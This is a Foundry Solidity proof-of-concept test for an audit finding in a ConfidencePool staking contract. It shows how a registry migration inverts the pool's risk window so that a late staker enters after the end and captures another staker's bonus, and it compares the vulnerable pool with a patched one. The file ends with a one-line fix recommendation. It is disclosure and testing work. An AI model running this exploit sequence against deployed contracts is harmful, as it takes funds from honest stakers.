pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {F02PatchedConfidencePool} from "test/poc/fixtures/F02PatchedConfidencePool.sol";
contract F02RegistryMigrationBonusCaptureTest is Test {
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
uint256 internal constant ONE = 1e18;
uint256 internal constant ALICE_STAKE = 100e18;
uint256 internal constant BOB_STAKE = 100e18;
uint256 internal constant BONUS = 325e18;
uint256 internal constant END_A = BASE_TIMESTAMP + 100;
uint256 internal constant START_B = BASE_TIMESTAMP + 110;
uint256 internal constant BOB_ENTRY = BASE_TIMESTAMP + 115;
uint256 internal constant END_B = BASE_TIMESTAMP + 120;
uint256 internal constant BOB_EXCESS = 160e18;
uint256 internal constant VULNERABLE_TOTAL_STAKED = 200e18;
uint256 internal constant FIXED_TOTAL_STAKED = 100e18;
uint256 internal constant VULNERABLE_NORMALIZED_FIRST = 22500e18;
uint256 internal constant VULNERABLE_NORMALIZED_SECOND = 2532500e18;
uint256 internal constant FIXED_NORMALIZED_FIRST = 11000e18;
uint256 internal constant FIXED_NORMALIZED_SECOND = 1210000e18;
uint256 internal constant VULNERABLE_ALICE_BONUS = 100e18;
uint256 internal constant VULNERABLE_BOB_BONUS = 225e18;
uint256 internal constant COHERENT_ALICE_BONUS = 260e18;
uint256 internal constant COHERENT_BOB_BONUS = 65e18;
uint256 internal constant VULNERABLE_ALICE_PAYOUT = 200e18;
uint256 internal constant VULNERABLE_BOB_PAYOUT = 325e18;
uint256 internal constant VULNERABLE_TOTAL_PAYOUT = 525e18;
uint256 internal constant FIXED_ALICE_BONUS = BONUS;
uint256 internal constant FIXED_ALICE_PAYOUT = ALICE_STAKE + BONUS;
uint256 internal constant FIXED_TOTAL_PAYOUT = FIXED_ALICE_PAYOUT;
address internal constant DEFAULT_SCOPE_ACCOUNT = address(0xC0FFEE);
address internal trustedSetup = makeAddr("trusted setup");
address internal trustedRegistryOperator = makeAddr("trusted registry operator");
address internal trustedMigrationAdmin = makeAddr("trusted migration admin");
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal permissionlessObserver = makeAddr("permissionless observer");
address internal alice = makeAddr("alice");
address internal bob = makeAddr("bob");
address internal contributor = makeAddr("bonus contributor");
struct RunResult {
uint256 invertedStart;
uint256 invertedEnd;
uint256 bobEntry;
uint256 finalRiskWindowEnd;
uint256 outcomeFlaggedAt;
uint256 snapshotTotalStaked;
uint256 snapshotTotalBonus;
uint256 normalizedFirst;
uint256 normalizedSecond;
uint256 alicePayout;
uint256 bobPayout;
uint256 aliceBonus;
uint256 bobBonus;
uint256 totalPayout;
uint256 totalEligibleStake;
uint256 claimedBonus;
uint256 bobEligibleAfterAttempt;
uint256 bobWalletBalance;
uint256 bobClaimTokenDelta;
uint256 finalPoolBalance;
bool aliceHasClaimed;
bool bobHasClaimed;
bool bobClaimSuccess;
bytes4 bobClaimRevertSelector;
}
function test_Exploit_Vulnerable() external {
RunResult memory result = _runSequence(false);
assertEq(result.finalRiskWindowEnd, END_A, "vulnerable pool retains registry A endpoint");
assertEq(result.outcomeFlaggedAt, END_A, "vulnerable T is stale registry A endpoint");
assertEq(result.snapshotTotalStaked, VULNERABLE_TOTAL_STAKED, "vulnerable snapshot principal is exact");
assertEq(result.snapshotTotalBonus, BONUS, "vulnerable snapshot bonus is exact");
assertEq(result.normalizedFirst, VULNERABLE_NORMALIZED_FIRST, "vulnerable first moment is exact");
assertEq(result.normalizedSecond, VULNERABLE_NORMALIZED_SECOND, "vulnerable second moment is exact");
assertEq(result.aliceBonus, VULNERABLE_ALICE_BONUS, "Alice receives stale-T bonus");
assertEq(result.bobBonus, VULNERABLE_BOB_BONUS, "Bob captures stale-T bonus");
assertEq(result.bobBonus - COHERENT_BOB_BONUS, BOB_EXCESS, "Bob's excess bonus is 160");
assertEq(COHERENT_ALICE_BONUS - result.aliceBonus, BOB_EXCESS, "Alice's displaced bonus is 160");
assertEq(result.alicePayout, VULNERABLE_ALICE_PAYOUT, "Alice receives exact vulnerable payout");
assertEq(result.bobPayout, VULNERABLE_BOB_PAYOUT, "Bob receives exact vulnerable payout");
assertEq(result.totalPayout, VULNERABLE_TOTAL_PAYOUT, "vulnerable pool pays all principal and bonus");
assertEq(result.bobEligibleAfterAttempt, BOB_STAKE, "Bob's vulnerable stake is recorded");
assertEq(result.bobWalletBalance, VULNERABLE_BOB_PAYOUT, "Bob holds exact extracted payout");
assertEq(result.claimedBonus, BONUS, "all vulnerable bonus is claimed");
assertTrue(result.aliceHasClaimed, "Alice's vulnerable claim succeeds");
assertTrue(result.bobHasClaimed, "Bob's vulnerable claim succeeds");
assertEq(result.totalEligibleStake, 0, "no vulnerable principal remains");
assertEq(result.finalPoolBalance, 0, "vulnerable pool empties exactly");
console2.log("VULNERABLE bonus delta captured by Bob", result.bobBonus - COHERENT_BOB_BONUS);
}
function test_Exploit_AfterFix() external {
RunResult memory result = _runSequence(true);
assertEq(result.finalRiskWindowEnd, END_A, "patched pool preserves the canonical persisted end");
assertEq(result.outcomeFlaggedAt, END_A, "patched settlement uses the persisted end");
assertEq(result.snapshotTotalStaked, FIXED_TOTAL_STAKED, "Alice is the sole snapshotted staker");
assertEq(result.snapshotTotalBonus, BONUS, "patched snapshot bonus is exact");
assertEq(result.normalizedFirst, FIXED_NORMALIZED_FIRST, "patched first moment is exact");
assertEq(result.normalizedSecond, FIXED_NORMALIZED_SECOND, "patched second moment is exact");
assertEq(result.bobEligibleAfterAttempt, 0, "rejected Bob stake remains zero");
assertEq(result.aliceBonus, FIXED_ALICE_BONUS, "Alice receives the complete finite bonus");
assertEq(result.alicePayout, FIXED_ALICE_PAYOUT, "Alice receives exact sole-staker payout");
assertFalse(result.bobClaimSuccess, "Bob's claim attempt fails");
assertEq(
result.bobClaimRevertSelector,
IConfidencePool.InvalidAmount.selector,
"Bob's claim fails because he has no eligible stake"
);
assertEq(result.bobClaimTokenDelta, 0, "Bob's failed claim transfers no tokens");
assertEq(result.totalPayout, FIXED_TOTAL_PAYOUT, "patched pool conserves Alice principal and bonus");
assertEq(result.bobWalletBalance, BOB_STAKE, "Bob retains only his rejected stake funds");
assertEq(result.claimedBonus, BONUS, "Alice claims all finite bonus");
assertTrue(result.aliceHasClaimed, "Alice's patched claim succeeds");
assertFalse(result.bobHasClaimed, "Bob has no claimable membership");
assertEq(result.totalEligibleStake, 0, "no patched principal remains");
assertEq(result.finalPoolBalance, 0, "patched pool empties exactly");
console2.log("AFTER FIX Bob claim token delta", result.bobClaimTokenDelta);
}
function _runSequence(bool afterFix) internal returns (RunResult memory result) {
vm.warp(BASE_TIMESTAMP);
MockERC20 token = new MockERC20();
MockAttackRegistry registryA = new MockAttackRegistry();
MockAttackRegistry registryB = new MockAttackRegistry();
MockSafeHarborRegistry safeHarborRegistry = new MockSafeHarborRegistry();
MockAgreement agreement = new MockAgreement(trustedSetup);
console2.log("TRUSTED SETUP: scope, registry A pointer, agreement validity, NEW_DEPLOYMENT");
vm.startPrank(trustedSetup);
agreement.setContractInScope(DEFAULT_SCOPE_ACCOUNT, true);
safeHarborRegistry.setAttackRegistry(address(registryA));
safeHarborRegistry.setAgreementValid(address(agreement), true);
registryA.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
vm.stopPrank();
ConfidencePool target = _deployPool(afterFix, token, safeHarborRegistry, agreement);
_labelActorsAndContracts(token, registryA, registryB, safeHarborRegistry, agreement, target);
console2.log("Initial pool balance", token.balanceOf(address(target)));
console2.log("ALICE PARTICIPANT CALL: stake", ALICE_STAKE);
_stake(token, target, alice, ALICE_STAKE);
console2.log("BONUS CONTRIBUTOR CALL: contribute", BONUS);
_contributeBonus(token, target, contributor, BONUS);
vm.warp(END_A);
console2.log("TRUSTED REGISTRY ACTION: registry A reports PRODUCTION");
_setRegistryState(registryA, IAttackRegistry.ContractState.PRODUCTION);
assertEq(safeHarborRegistry.getAttackRegistry(), address(registryA), "live pointer is registry A");
assertEq(
uint256(registryA.getAgreementState(address(agreement))),
uint256(IAttackRegistry.ContractState.PRODUCTION),
"registry A is terminal"
);
console2.log("Live registry pointer before first terminal poke", safeHarborRegistry.getAttackRegistry());
vm.prank(permissionlessObserver);
target.pokeRiskWindow();
assertEq(target.riskWindowEnd(), END_A, "registry A seals the first terminal endpoint");
assertEq(target.riskWindowStart(), 0, "no active-risk state observed yet");
assertEq(uint256(target.outcome()), uint256(PoolStates.Outcome.UNRESOLVED), "pool remains unresolved");
console2.log("Endpoint after registry A terminal observation: start", target.riskWindowStart());
console2.log("Endpoint after registry A terminal observation: end", target.riskWindowEnd());
console2.log("TRUSTED MIGRATION ACTION: registry B UNDER_ATTACK and live pointer switch");
_setRegistryState(registryB, IAttackRegistry.ContractState.UNDER_ATTACK);
_switchRegistry(safeHarborRegistry, registryB);
assertEq(safeHarborRegistry.getAttackRegistry(), address(registryB), "live pointer migrated to registry B");
assertEq(
uint256(registryB.getAgreementState(address(agreement))),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK),
"registry B is active"
);
console2.log("Live registry pointer after trusted migration", safeHarborRegistry.getAttackRegistry());
vm.warp(START_B);
vm.prank(permissionlessObserver);
target.pokeRiskWindow();
result.invertedStart = target.riskWindowStart();
result.invertedEnd = target.riskWindowEnd();
assertEq(result.invertedStart, START_B, "registry B seals the newer active-risk start");
assertEq(result.invertedEnd, END_A, "registry A end remains latched before settlement");
assertGt(result.invertedStart, result.invertedEnd, "risk-window endpoints invert");
console2.log("Inverted endpoint: start", result.invertedStart);
console2.log("Inverted endpoint: end", result.invertedEnd);
vm.warp(BOB_ENTRY);
result.bobEntry = block.timestamp;
assertEq(result.bobEntry, BOB_ENTRY, "Bob enters at the planned timestamp");
assertGt(result.bobEntry, target.riskWindowEnd(), "Bob calls stake after the sealed terminal endpoint");
console2.log("BOB CALL: entry timestamp", result.bobEntry);
console2.log("BOB CALL: observed terminal endpoint", target.riskWindowEnd());
token.mint(bob, BOB_STAKE);
vm.startPrank(bob);
token.approve(address(target), BOB_STAKE);
if (afterFix) vm.expectRevert(IConfidencePool.StakingClosed.selector);
target.stake(BOB_STAKE);
vm.stopPrank();
result.bobEligibleAfterAttempt = target.eligibleStake(bob);
if (afterFix) {
assertEq(result.bobEligibleAfterAttempt, 0, "persisted end rejects Bob's stake");
assertEq(token.balanceOf(bob), BOB_STAKE, "reverted stake transfers no Bob funds");
} else {
assertEq(result.bobEligibleAfterAttempt, BOB_STAKE, "Bob's post-end stake succeeds");
}
vm.warp(END_B);
console2.log("TRUSTED REGISTRY ACTION: registry B reports PRODUCTION");
_setRegistryState(registryB, IAttackRegistry.ContractState.PRODUCTION);
console2.log("TRUSTED MODERATOR ACTION: flag SURVIVED at", block.timestamp);
vm.prank(moderator);
target.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
result.finalRiskWindowEnd = target.riskWindowEnd();
result.outcomeFlaggedAt = target.outcomeFlaggedAt();
result.snapshotTotalStaked = target.snapshotTotalStaked();
result.snapshotTotalBonus = target.snapshotTotalBonus();
(result.normalizedFirst, result.normalizedSecond) = _normalizedMoments(target);
assertEq(uint256(target.outcome()), uint256(PoolStates.Outcome.SURVIVED), "moderator resolves SURVIVED");
assertEq(result.snapshotTotalBonus, BONUS, "snapshot bonus is exact");
console2.log("Settlement riskWindowEnd", result.finalRiskWindowEnd);
console2.log("Settlement outcomeFlaggedAt (T)", result.outcomeFlaggedAt);
console2.log("Settlement normalized first moment", result.normalizedFirst);
console2.log("Settlement normalized second moment", result.normalizedSecond);
result.alicePayout = _claim(token, target, alice);
if (afterFix) {
uint256 bobBalanceBeforeClaim = token.balanceOf(bob);
bytes memory bobClaimReturnData;
vm.prank(bob);
(result.bobClaimSuccess, bobClaimReturnData) =
address(target).call(abi.encodeCall(ConfidencePool.claimSurvived, ()));
result.bobClaimTokenDelta = token.balanceOf(bob) - bobBalanceBeforeClaim;
result.bobPayout = result.bobClaimTokenDelta;
if (!result.bobClaimSuccess && bobClaimReturnData.length >= 4) {
bytes4 selector;
assembly ("memory-safe") {
selector := mload(add(bobClaimReturnData, 0x20))
}
result.bobClaimRevertSelector = selector;
}
console2.log("BOB CLAIM ATTEMPT: success", result.bobClaimSuccess);
console2.log("BOB CLAIM ATTEMPT: revert selector");
console2.logBytes4(result.bobClaimRevertSelector);
console2.log("BOB CLAIM ATTEMPT: token delta", result.bobClaimTokenDelta);
} else {
result.bobPayout = _claim(token, target, bob);
}
result.aliceBonus = result.alicePayout - ALICE_STAKE;
if (!afterFix) result.bobBonus = result.bobPayout - BOB_STAKE;
result.totalPayout = result.alicePayout + result.bobPayout;
result.totalEligibleStake = target.totalEligibleStake();
result.claimedBonus = target.claimedBonus();
result.bobWalletBalance = token.balanceOf(bob);
result.finalPoolBalance = token.balanceOf(address(target));
result.aliceHasClaimed = target.hasClaimed(alice);
result.bobHasClaimed = target.hasClaimed(bob);
console2.log("Alice bonus", result.aliceBonus);
if (!afterFix) console2.log("Bob bonus", result.bobBonus);
console2.log("Total payout", result.totalPayout);
console2.log("Final pool balance", result.finalPoolBalance);
}
function _deployPool(
bool afterFix,
MockERC20 token,
MockSafeHarborRegistry safeHarborRegistry,
MockAgreement agreement
) internal returns (ConfidencePool target) {
address implementation;
if (afterFix) {
implementation = address(new F02PatchedConfidencePool());
} else {
implementation = address(new ConfidencePool());
}
vm.label(implementation, "Selected ConfidencePool Implementation");
target = ConfidencePool(Clones.clone(implementation));
target.initialize(
address(agreement),
address(token),
address(safeHarborRegistry),
moderator,
BASE_TIMESTAMP + 31 days,
ONE,
recovery,
address(this),
_defaultScope()
);
}
function _defaultScope() internal pure returns (address[] memory accounts) {
accounts = new address[](1);
accounts[0] = DEFAULT_SCOPE_ACCOUNT;
}
function _stake(MockERC20 token, ConfidencePool target, address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(target), amount);
target.stake(amount);
vm.stopPrank();
}
function _contributeBonus(MockERC20 token, ConfidencePool target, address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(target), amount);
target.contributeBonus(amount);
vm.stopPrank();
}
function _claim(MockERC20 token, ConfidencePool target, address user) internal returns (uint256 payout) {
uint256 balanceBefore = token.balanceOf(user);
vm.prank(user);
target.claimSurvived();
payout = token.balanceOf(user) - balanceBefore;
}
function _setRegistryState(MockAttackRegistry registry, IAttackRegistry.ContractState state) internal {
vm.prank(trustedRegistryOperator);
registry.setAgreementState(state);
}
function _switchRegistry(MockSafeHarborRegistry safeHarborRegistry, MockAttackRegistry nextRegistry) internal {
vm.prank(trustedMigrationAdmin);
safeHarborRegistry.setAttackRegistry(address(nextRegistry));
}
function _normalizedMoments(ConfidencePool target)
internal
view
returns (uint256 normalizedFirst, uint256 normalizedSecond)
{
normalizedFirst = target.snapshotSumStakeTime() - BASE_TIMESTAMP * target.snapshotTotalStaked();
normalizedSecond = target.snapshotSumStakeTimeSq() + BASE_TIMESTAMP * BASE_TIMESTAMP
* target.snapshotTotalStaked() - 2 * BASE_TIMESTAMP * target.snapshotSumStakeTime();
}
function _labelActorsAndContracts(
MockERC20 token,
MockAttackRegistry registryA,
MockAttackRegistry registryB,
MockSafeHarborRegistry safeHarborRegistry,
MockAgreement agreement,
ConfidencePool target
) internal {
vm.label(address(this), "PoC Test Harness and Pool Owner");
vm.label(trustedSetup, "Trusted Setup");
vm.label(trustedRegistryOperator, "Trusted Registry Operator");
vm.label(trustedMigrationAdmin, "Trusted Migration Admin");
vm.label(moderator, "Trusted Outcome Moderator");
vm.label(recovery, "Recovery Address");
vm.label(permissionlessObserver, "Permissionless Observer");
vm.label(alice, "Alice Existing Staker");
vm.label(bob, "Bob Late Staker");
vm.label(contributor, "Bonus Contributor");
vm.label(DEFAULT_SCOPE_ACCOUNT, "Agreement Scope Account");
vm.label(address(token), "Mock Stake Token");
vm.label(address(registryA), "Attack Registry A");
vm.label(address(registryB), "Attack Registry B");
vm.label(address(safeHarborRegistry), "Live Safe Harbor Registry");
vm.label(address(agreement), "Mock Agreement");
vm.label(address(target), "ConfidencePool Clone Under Test");
}
}
Close staking once the terminal endpoint is sealed, and clamp the start endpoint so the start <= end invariant can never be violated.